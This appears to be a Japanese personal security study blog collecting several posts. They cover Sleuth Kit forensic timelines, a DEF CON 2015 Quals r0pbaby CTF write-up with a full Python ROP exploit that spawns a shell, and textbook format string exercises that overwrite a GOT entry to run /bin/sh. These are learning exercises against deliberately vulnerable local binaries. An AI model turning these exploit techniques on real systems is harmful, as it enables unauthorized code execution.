openFrameworks
驚くことにブログを1年以上放置していた。 自分が興味あることじゃないと続けることは難しいね。
メディアアートが面白そうなので、 ちょっと触ってみる。
Sleuth Kitその1 flsコマンド、mactimeコマンドによるタイムラインの作成
要点
fls: bodyfileの作成 mactime: bodyfileか日時情報などを抽出
fls
flsコマンドはディスクイメージ内のファイルとディレクトリの名前を列挙する。
fls -rl -m "/" -i raw /dev/sda1 > bodyfile.txt
-r recursive -l ファイルの詳細をlongフォーマットで出力する。ただし、 mオプションと同時に使用された場合は無効 -m mactimeコマンドで使用できるデータを出力する。mntはマウントポイントとしてファイル名の先頭に付く。 -i imagtype (raw, aff, afd, ewfなど)
mactime
mactimeコマンドはbodyファイルからファイルのタイムラインを作成する。
mactime -y -b bodyfile.txt > timeline.txt
-y: 日時をISO8601フォーマットで出力.(UTC) -b: bodyファイルの場所 -d: カンマ区切りのデータを出力。(これがないと同じ時刻は空白になる?)
DEF CON Qualifier 2015: r0pbaby
pwnの勉強のため DEF CON Qualifier 2015: r0pbabyを解いてみた。 今回は、ローカルの環境のみで実行。
以下のサイトを参考とした。
http://geeksspeak.github.io/blog/2015/05/18/defconctf-2015-quals-ropbaby-writeup/
https://blog.0x80.org/r0pbaby-writeup-defcon-prequal/
http://qiita.com/MarshMallow_sh/items/87019f038e4f5dc82451
セキュリティ機構の確認
$ checksec.sh --file r0pbaby RELRO STACK CANARY NX PIE RPATH RUNPATH FILE No RELRO No canary found NX enabled Not an ELF file No RPATH No RUNPATH r0pbaby
NXが有効(メモリ上の実行する必要のないデータが実行不可能)。 ROPを行えばよいのだろうか。
とりあえず実行してみる
socat コマンドを使って待受け状態にする。
$ socat TCP-LISTEN:1234,reuseaddr,fork EXEC:"./r0pbaby"
接続してみる。
$ nc localhost 1234 Welcome to an easy Return Oriented Programming challenge... Menu: 1) Get libc address 2) Get address of a libc function 3) Nom nom r0p buffer to stack 4) Exit : 1 libc.so.6: 0x00007FFFF7FF99B0 1) Get libc address 2) Get address of a libc function 3) Nom nom r0p buffer to stack 4) Exit : 2 Enter symbol: system Symbol system: 0x00007FFFF7857640 1) Get libc address 2) Get address of a libc function 3) Nom nom r0p buffer to stack 4) Exit : 4 Exiting.
libc.so.6やsystem関数のアドレスを確認できた。 これらを使って、shellを起動できればよいのだろう。
gdbでスタックの状態を確認(pedaインストール済み)
3を選択、32バイトを指定、"AAAAAAAABBBBBBBBCCCCCCCCDDDDDDDD"(32バイト) を入力してみる。
gdb-peda$ run Starting program: /home/ctf/r0pbaby Welcome to an easy Return Oriented Programming challenge... Menu: 1) Get libc address 2) Get address of a libc function 3) Nom nom r0p buffer to stack 4) Exit : 3 Enter bytes to send (max 1024): 32 AAAAAAAABBBBBBBBCCCCCCCCDDDDDDDD 1) Get libc address 2) Get address of a libc function 3) Nom nom r0p buffer to stack 4) Exit : Bad choice. Program received signal SIGSEGV, Segmentation fault. 省略 [------------------------------------stack-------------------------------------] 0000| 0x7fffffffe558 ("BBBBBBBBCCCCCCCCDDDDDDDD")
Segmentation fault で落ちることが判明。 その時のスタックの内容を確認すると、BBBBBBBBCCCCCCCCDDDDDDDDが入っていた。 この部分に、rop gadgetのアドレス、/bin/shのアドレス、system関数のアドレス を入れれば、/bin/shを実行できそうだ。
libc.so.6の場所を確認
以下のコマンドで/lib/x86_64-linux-gnu/libc.so.6 にあることが判明。
$ ldd r0pbaby linux-vdso.so.1 => (0x00007ffff7ffd000) libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007ffff7bd6000) libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007ffff7811000) /lib64/ld-linux-x86-64.so.2 (0x0000555555554000)
# libc.so.6内のsystem関数の位置 以下のコマンドで、system関数は0x46640 から始まることが判明。
$ nm -D libc.so.6| grep system 0000000000046640 T __libc_system 000000000012b2c0 T svcerr_systemerr 0000000000046640 W system
libc.so.6内の/bin/sh の位置
以下のコマンドで、/bin/sh は0x17ccdb から始まることが判明。 $ strings -a -tx libc.so.6 | grep "sh$" 17ccdb /bin/sh
rop gadeget の位置
以下のコマンドの結果から、 [0x00022b1a] のrop gadgetを使うことにした。
$ grep "pop rdi" rpResult-libc.so.6.txt | head 0x000fa47a: pop rdi ; call rax ; (1 found) 0x000831a8: pop rdi ; jmp rax ; (1 found) 0x000f676c: pop rdi ; jmp rax ; (1 found) 0x00103fe2: pop rdi ; rep ret ; (1 found) 0x0011bea1: pop rdi ; rep ret ; (1 found) 0x00022b1a: pop rdi ; ret ; (1 found) 0x00022b31: pop rdi ; ret ; (1 found)
Exploit の作成
ここまでで、以下3項目の位置が判明した。 この情報を元にExploitを作成する。
r_gadget = 0x22b1a #rop gadgetのアドレス(ファイルlibc.so.6内) r_system = 0x46640 #system 関数のアドレス(ファイルlibc.so.6内) r_binsh = 0x17ccdb #/bin/sh のアドレス(ファイルlibc.so.6内)
#!/usr/bin/python # -*- coding: utf-8 -*- import socket import struct import telnetlib def readuntil(f, delim=': '): data = '' while not data.endswith(delim): c = f.read(1) assert len(c) > 0 data += c #print data return data def p(v): return struct.pack('<Q', v) def u(v): return struct.unpack('<Q', v)[0] s = socket.create_connection(("127.0.0.1", 1234)) #s = socket.create_connection(("r0pbaby server", 10436)) f = s.makefile('rw', bufsize=0) raw_input("$") # ユーザの入力を待つ(enterキーで以下の処理を開始) print s.recv(1024) # 問題サーバから1024バイトのデータを取得 f.write("2\nsystem\n") readuntil(f, "0x") system = int(f.read(16), 16) print hex(system) r_gadget = 0x22b1a #rop gadgetのアドレス(ファイルlibc.so.6内) r_system = 0x46640 #system 関数のアドレス(ファイルlibc.so.6内) r_binsh = 0x17ccdb #/bin/sh のアドレス(ファイルlibc.so.6内) # system addr - system_offset = libc_base libc_base = system - r_system # 実行時のアドレス gadget = libc_base + r_gadget # rop gadgetのアドレス(実行時) binsh = libc_base + r_binsh # /bin/shのアドレス(実行時) print "[*] system 0x%08x" % system print "[*] libc_base 0x%08x" % libc_base print "[*] gadget 0x%08x" % gadget print "[*] binsh 0x%08x" % binsh f.write("3\n32\n"+"A"*8+p(gadget)+p(binsh)+p(system)+"\n") # メモ #m_libc = 0x00007FFFF7FF99B0 # [1]を選択して判明した libc.so.6のアドレス #m_system = 0x00007FFFF7857640 # [2]を選択して判明した system関数のアドレス print "[+] shell is ready: " t = telnetlib.Telnet() t.sock = s t.interact()
所感
Pwn を解き始めたばかりのため難しく感じた。 少し基本が身についたと思う。
課題
- Exploitはもう少しシンプルになりそうだ。
- 一つ気になったことは、r0pbaby実行時、[1]を選択して表示される libc.so.6 のアドレス0x00007FFFF7FF99B0と、 ldd r0pbabyした時のlibc.so.6 のアドレス0x00007ffff7811000が 違う点である。理由はまだわかっていない。
セキュリティコンテストチャレンジブック[書式文字列攻撃(got)]
書式文字列攻撃を試してみる。
strlen関数をsytem関数に書換え、 /bin/shを起動する。
おそらくp123の表の、 3行目の1列目は、[%43272x]ではなく[%41352x] 4行目の3列目は、[43280]ではなく[41360]
#include <stdio.h> #include <string.h> int main(int argc, char *argv[]) { char str[128]; fgets(str, 128, stdin); printf(str); fgets(str, 128, stdin); printf("%d\n", strlen(str)); return 0; }
strlen の位置を確認。
$ readelf -r got | less 0804a01c 00000507 R_386_JUMP_SLOT 00000000 strlen
関数system の位置を確認。
gdb -q got b main run p system $1 = {<text variable, no debug info>} 0xf7e4d190 <system>
$ echo 'AAAA%p,%p,%p,%p,%p,%p,%p,%p' | ./got AAAA0x80,0xf7770c20,0xffcfa454,(nil),(nil),(nil),0x41414141,0x252c7025 28
AAAAは7番目に出現。
よって、7番目に[/bin/sh]を入れて、 うまく起動するようにする。
system関数のアドレス 0xf7e4d190 を2つに分けリトルエンディアンとして扱う。 strlenのアドレスx0804a01c の値を書き換える。 書き込む値はprint関数で出力した文字数となるので、 計算する。
0xd190 = 53648 ⇒ 53648 - 8 = 53640 0xf7e4 = 63460 ⇒ 63460 - 53648 = 9812
\x1c\xa0\x04\x08 \x1e\xa0\x04\x08 %53640x %7$hn # 書込み %9812x %8$hn # 書込み \n /bin/sh
(echo -e '\x1c\xa0\x04\x08\x1e\xa0\x04\x08%53640x%7$hn%9812x%8$hn\n/bin/sh'; cat) | ./got f7fb7c20 ls fsb fsb.c fsb.c~ got got.c got.c.txt got.c~ peda-session-got.txt
うまくいった。
実行ファイルのセキュリティ機構
実行ファイルのセキュリティ機構
コンパイル時に設定可能なもの
- Stack Smash Protection BOF 対策。スタックフレームのローカル変数領域と Saved EBP の間に Canary(カナリア) と呼ばれる値を挿入。この部分の値の変更を判定。
- NX bit(No eXecute bit)
- Windows ではDEP(Data Execution Prevention) と呼ばれている
- メモリ上の実行する必要のないデータを実行不可能に設定する
- gcc -z execstack オプションをコンパイル時に指定すると、NX bit を無効にできる
- PIE (Position Independent Executable)
- 実行コード内のアドレス参照をすべて相対アドレスで行う
- ASLR では行われない実行ファイルの配置アドレスもランダム化される
- よく共有ライブラリに適用されるオプション
OS側で設定可能なもの
セキュリティコンテストチャレンジブック[書式文字列攻撃]
とりあえずメモ。加筆予定
$ gcc -m32 -w -o fsb fsb.c $ ./fsb AAAA%p,%p,%p,%p,%p,%p,%p,%p,%p AAAA0x80,0xf7fbcc20,0xffffd854,(nil),(nil),(nil),0x41414141,0x252c7025,0x70252c70 secret = 0x12345678
secret のアドレスを確認
$2 = (<data variable, no debug info> *) 0x804a028 <secret>
以下より抜粋
$ gdb -q fsb Reading symbols from fsb...(no debugging symbols found)...done. gdb-peda$ b main Breakpoint 1 at 0x80484c0 gdb-peda$ run Starting program: /media/sf_mnt-host/ctfCharrengeBook/fsb [----------------------------------registers-----------------------------------] EAX: 0x1 EBX: 0xf7fbc000 --> 0x1a6da8 ECX: 0xf027baa4 EDX: 0xffffd7b4 --> 0xf7fbc000 --> 0x1a6da8 ESI: 0x0 EDI: 0x0 EBP: 0xffffd788 --> 0x0 ESP: 0xffffd788 --> 0x0 EIP: 0x80484c0 (<main+3>: and esp,0xfffffff0) [-------------------------------------code-------------------------------------] 0x80484b8 <frame_dummy+40>: jmp 0x8048430 <register_tm_clones> 0x80484bd <main>: push ebp 0x80484be <main+1>: mov ebp,esp => 0x80484c0 <main+3>: and esp,0xfffffff0 0x80484c3 <main+6>: sub esp,0xa0 0x80484c9 <main+12>: mov eax,DWORD PTR [ebp+0xc] 0x80484cc <main+15>: mov DWORD PTR [esp+0xc],eax 0x80484d0 <main+19>: mov eax,gs:0x14 [------------------------------------stack-------------------------------------] 00:0000| esp ebp 0xffffd788 --> 0x0 01:0004| 0xffffd78c --> 0xf7e2ea63 (<__libc_start_main+243>: mov DWORD PTR [esp],eax) 02:0008| 0xffffd790 --> 0x1 03:0012| 0xffffd794 --> 0xffffd824 --> 0xffffd9b3 ("/media/sf_mnt-h"...) 04:0016| 0xffffd798 --> 0xffffd82c --> 0xffffd9db ("XDG_VTNR=7") 05:0020| 0xffffd79c --> 0xf7feacea (add ebx,0x12316) 06:0024| 0xffffd7a0 --> 0x1 07:0028| 0xffffd7a4 --> 0xffffd824 --> 0xffffd9b3 ("/media/sf_mnt-h"...) [------------------------------------------------------------------------------] Legend: stack, code, data, heap, rodata, value Breakpoint 1, 0x080484c0 in main () gdb-peda$ p secret $1 = 0x12345678 gdb-peda$ p &secret $2 = (<data variable, no debug info> *) 0x804a028 <secret>
$ ./fsb # 7番目の値をcharで表示する(失敗) AAA%7$s zsh: segmentation fault (core dumped) ./fsb
$ echo -e '\x28\xa0\x04\x08%7$s' | ./fsb (�xV4 �� secret = 0x12345678
文字化けしたので、hexdump で確認。
$ echo -e '\x28\xa0\x04\x08%7$s' | ./fsb | hexdump -C 00000000 28 a0 04 08 78 56 34 12 20 cc fb f7 0a 73 65 63 |(...xV4. ....sec| 00000010 72 65 74 20 3d 20 30 78 31 32 33 34 35 36 37 38 |ret = 0x12345678| 00000020 0a |.| 00000021
メモリの書き換え(%n でprintf で出力した文字数をメモリに書き込む)
$ echo -e '\x28\xa0\x04\x08%7$n' | ./fsb (� secret = 0x4
フォーマット指定子 書き込みバイト数 %n 4バイト %hn 2バイト %hh 1バイト